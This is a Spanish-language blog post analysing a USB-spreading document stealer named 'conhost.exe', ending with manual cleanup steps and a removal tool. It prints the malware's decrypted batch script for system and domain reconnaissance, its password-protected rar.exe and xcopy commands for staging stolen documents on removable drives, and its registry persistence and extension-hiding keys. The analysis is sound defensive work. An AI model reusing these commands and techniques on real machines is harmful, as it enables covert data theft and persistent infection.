Analizando stealer malware ‘conhost.exe’


Hace unos días me encontré con este dispositivo extraíble lleno de carpetas ocultas, (las cuales no se suponía que estuvieran en ese estado y se pensaban eliminadas por su dueño) junto con las carpetas estaban un grupo de ejecutables simulando ser cada una de las carpetas en cuestión, mismo nombre y mismo icono, la única diferencia radicaba en la descripción del tipo de fichero, en el que se advertía su verdadera naturaleza. En su momento el antivirus de guardia no se dio ni por enterado, por lo que me decidí a mirar un poco dentro del engendro para ver que sorpresas traía…esto fue lo que encontré.

 

Captura

Información Preliminar

Muy bien, empezamos conociendo un poco el malware con algo de información básica. El análisis preliminar nos dice que tenemos un ejecutable de 136 Kb, compilado usando el Microsoft Visual C++ 6.0, sin empaquetado ni cifrado, sin overlays, TLS, ni ninguna otra cosa fuera de lo normal y con fecha de compilación del 26 de Agosto de 2013, algo reciente.

Captura2

Instalación en el Sistema

El proceso de instalación del malware en el sistema comienza desde el momento en que el usuario cae en la trampa y ejecuta el fichero que comentaba al principio creyéndose que es una de las carpetas de su pendrive. En este momento la aplicación realizara una serie de acciones para garantizar su estancia en la PC infectada.

La primera acción que realiza es modificar el registro de Windows, exactamente la clave

"HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile, "NeverShowExt"

con lo que logra que se oculten todas las extensiones de los ficheros ejecutables, de esta forma logra un mayor enmascaramiento de cara al usuario. Esto lo realiza creando el fichero “ppxxxx” en la carpeta de temporales del usuario con la llave que será modificada y luego ejecutando el siguiente comando:

"regini.exe C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\ppxxxx"

Una vez concluida la operación borra el fichero. Luego de esto el malware se replica a sí mismo en la siguiente ruta:

"C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\conhost.exe"

que será su lugar de permanencia en el sistema y se pone atributos de oculto. Finalmente el malware ejecutara su propia replica y terminara su propio proceso con el objetivo de dejar la copia del sistema solamente en ejecución.

Captura3

 De esta forma concluye la fase de instalación en la PC huésped y comienza su labor como programa maligno.

Acciones Maliciosas

Al ejecutarse el malware desde la ubicación:

"C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\conhost.exe"

veremos todas las funcionalidades que fueron programadas para ser llevadas a cabo en una PC infectada. Las primeras acciones que realiza son las ya comentadas anteriormente, luego de todo esto se propondrá descifrar una cadena hardcodeada y crea un fichero en la siguiente ubicación:

"C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\must.bat"

para luego escribir en el mismo dicha cadena descifrada.

Captura4

Si nos fijamos en la imagen y vemos el buffer que estará escribiendo sabremos que no es nada más y nada menos que instrucciones batch. Una vez concluida esta operación veremos tendremos un fichero “must.bat” con el siguiente contenido:

@echo off
set xm2n=%temp%\winword4.doc
date /t  >%xm2n%
ver >>%xm2n%
net user >>%xm2n%
net localgroup administrators >>%xm2n%
net start >>%xm2n%
netstat -ano >>%xm2n%
tasklist >>%xm2n%
ipconfig /all >>%xm2n%
arp -a >>%xm2n%
systeminfo >>%xm2n%
net use >>%xm2n%
net view >>%xm2n%
net view /domain >>%xm2n%
net user /domain >>%xm2n%
dir c:*.* /s/a/od >>%xm2n%
dir d:*.* /s/a/od >>%xm2n%
dir e:*.* /s/a/od >>%xm2n%
dir f:*.* /s/a/od >>%xm2n%
dir g:*.* /s/a/od >>%xm2n%
dir h:*.* /s/a/od >>%xm2n%
dir i:*.* /s/a/od >>%xm2n%
del """%0"""

Justamente luego de crear dicho fichero se dispone a ejecutarlo con la API CreateProcessW y pasando por parámetro la ruta del script batch. Las acciones que realiza este script batch son inofensivas, solamente tienen el objetivo de “espiar” información de la PC huésped. Sus operaciones son las siguientes:

El batch obtiene los siguientes datos redirigiendo la salida estándar de la consola al fichero:

"C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\winword4.doc"

– La fecha actual (date /t)
– La version del SO (ver)
– El listado de usuarios (net user)
– El listado de usuarios administradores (net localgroup administrators)
– Los servicios en ejecucion (net start)
– El listado de puertos abiertos y el proceso asociado a cada conexion (netstat -ano)
– El listado de los procesos abiertos (tasklist)
– La informacion de los adaptadores de red (ipconfig /all)
– La tabla ARP de la red de la PC (arp -a)
– Toda la info del sistema (systeminfo)
– Uso de la red (net use)
– Todos los recursos ubicados en la red (net view)
– Todos los dominios (net view /domain)
– Todos los usuarios de cada dominio (net user /domain)
– El listado de todos los archivos y carpetas de cada unidad (dir UNIDAD:*.* /s/a/od)
– Se borra a si mismo (del “””%0″””)

Lo próximo que hace el programa es buscar entre los ficheros recientemente utilizados en la PC infectada por archivos con las siguientes extensiones: *.doc, *.docx, *.pdf, *.mvd, *.tif, *.xls, *.xlsx. Cuando encuentra alguno con las características deseadas lo compacta/cifra y lo guarda como el siguiente fichero:

"C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\WPDNSEE4BB964D.NLS"

Todo esto lo hace buscando la instalación del winrar e invocando su aplicación por línea de comandos “rar.exe”, con los siguientes parámetros:

"C:\Archivos de programa\winrar\rar.exe" u -apC -ed -tk -dh -hpThisTw0Piece -ta20130921 C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\WPDNSEE4BB964D.NLS "C:\test.doc"

A modo de explicación con esta línea de comandos se realiza lo siguiente:

U: Actualiza el fichero en caso de existir
-ap: Pone los ficheros en una carpeta llamada “C”
-ed: No añade directorios vacios
-tk: Mantiene la misma hora del fichero original
-dh: Abre ficheros compartidos
-hp: Encripta con contraseña: ThisTw0Piece
-ta: Procesa los ficheros despues de la fecha 20130921

Luego cuando termina con todos los ficheros recientes hace la misma operación con el que ya vimos anteriormente

"C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\winword4.doc"

con la misma línea de comandos. Por último el malware activa 3 Timers que se encargaran de realizar algunas tareas de forma repetitiva mientras que el proceso se mantenga en ejecución.

Residencia en Memoria

Captura5

Como decía anteriormente, para garantizar su residencia en memoria y ejecución constante, el malware activa tres Timers, los cuales se encargaran de repetir ciertas acciones sobre el sistema cada determinado tiempo.

Método de propagación y objetivos

El primer Timer que se dispara es el número tres. Este temporizador se encarga del método de propagación hacia dispositivos externos y el robo de información. En este apartado se entra en un bucle chequeando cada unidad desde la “C” hasta la “Z”, cuando encuentra algún dispositivo externo, verifica que exista el fichero

"USB:\RECYCLER\Dcfly.exe"

y en caso de existir lo ejecuta y termina su propia ejecución. Si no encuentra dicho archivo, entonces se duplica a si mismo como el fichero anterior. Lo siguiente que hace es la parte que ya habíamos visto al principio. El malware busca todas las carpetas en la raíz del dispositivo, les pone atributos de oculto y sistema (FileAttributes = HIDDEN|SYSTEM) y se copia a si mismo con el nombre de la carpeta en la unidad. Luego de esto crea la carpeta “RECYCLER” en la unidad, a donde copiara los ficheros *.NLS de la ubicación

"C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\WPDNSE"

así como los ficheros *.LDF (fichero de bitacora de transacciones de BD SQL) de la ubicación:

"C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\Media"

esto lo realiza ejecutando los siguientes comandos:

"C:\WINDOWS\system32\xcopy.exe /d /c /i /h /r /y C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\WPDNSE*.NLS E:\RECYCLER"
"C:\WINDOWS\system32\xcopy.exe /d /c /i /h /r /y C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\Media*.ldf E:\RECYCLER"

Finalmente el malware procede a compactar cada fichero de la unidad extraíble con cualquiera de las siguientes extensiones: *.doc, *.docx, *.pdf, *.mvd, *.tif, *.xls, *.xlsx al fichero que ya habíamos visto:

"C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\WPDNSEE4BB964D.NLS"

con las siguientes líneas de comando

"C:\Archivos de programa\winrar\rar.exe" u -apE -r -ed -tk -dh -sl5000000 -hpThisTw0Piece -ta20130922 C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\WPDNSEE4BB964D.NLS E:\*.doc E:\*.docx E:\*.pdf E:\*.mvd E:\*.tif E:\*.xls E:\*.xlsx

Inicio automático con el SO

El segundo Timer es el próximo que se ejecuta, y lo primero que hace es realizar la misma operación que ya vimos con el fichero “C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\ppxxxx”. La diferencia radica en que en este caso la llave de registro creada/modificada es la siguiente:

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows, "Load" = REG_SZ "C:\Documents and Settings\Administrador\Configuración local\Temp\conhost.exe"

A través de esta llave el malware garantiza su inicio automático en el sistema.

Persistencia

El ultimo Timer que se dispara es el número uno. Este se dedica solamente a llamar las mismas funciones que fueron llamadas al principio del código del malware, que es a grandes rasgos, obtener información de la PC infectada y compactar/cifrar cada documento reciente manipulado a una carpeta creada por la misma aplicación. Con esto último culmina las acciones maliciosas que realiza.

Limpieza manual

Para realizar una limpieza de forma manual de este malware los pasos a seguir serían los siguientes:

– Cerrar el proceso “conhost.exe”
– Borrar los ficheros:
“%temp%conhost.exe”
“%temp%winword4.doc”
– Borrar la carpeta: “%temp%WPDNSE”
– Borrar todas las copias del malware de los dispositivos USB (aplicaciones con iconos de carpetas de 136 Kb)
– Borrar la carpeta: “USB:\RECYCLER” y todo su contenido
– Eliminar las siguientes llaves del registro:

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows

(Borrar todo el contenido de la llave “Load” no la llave como tal)

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile

(Borrar la llave “NeverShowExt”)

Conclusiones y vacuna

A manera de conclusiones podemos decir que el malware no realiza acciones complejas ni tiene ningún payload destructivo o algo de lo que nos pudiéramos preocupar, por lo que podríamos clasificarlo como un simple “stealer”, pues esto es básicamente lo que realiza, “robar” todo documento de ofimática en el que hayamos estado trabajando, así como obtener bastante información de la PC que haya infectado.

Aqui les dejo la descarga de la vacuna para el que la desee 😉

Descargar: vacuna_conhost

La vacuna solo limpia el sistema, no los dispositivos extraíbles, así como tampoco restaura las carpetas ocultas por el malware en el pendrive. Para establecer las carpetas a su estado original teclear simplemente en la consola la siguiente línea:

attrib -s -h USB:\*.* /S /D

Donde “USB” es la letra de la unidad que desea manipular.

Anuncios

Los comentarios están cerrados.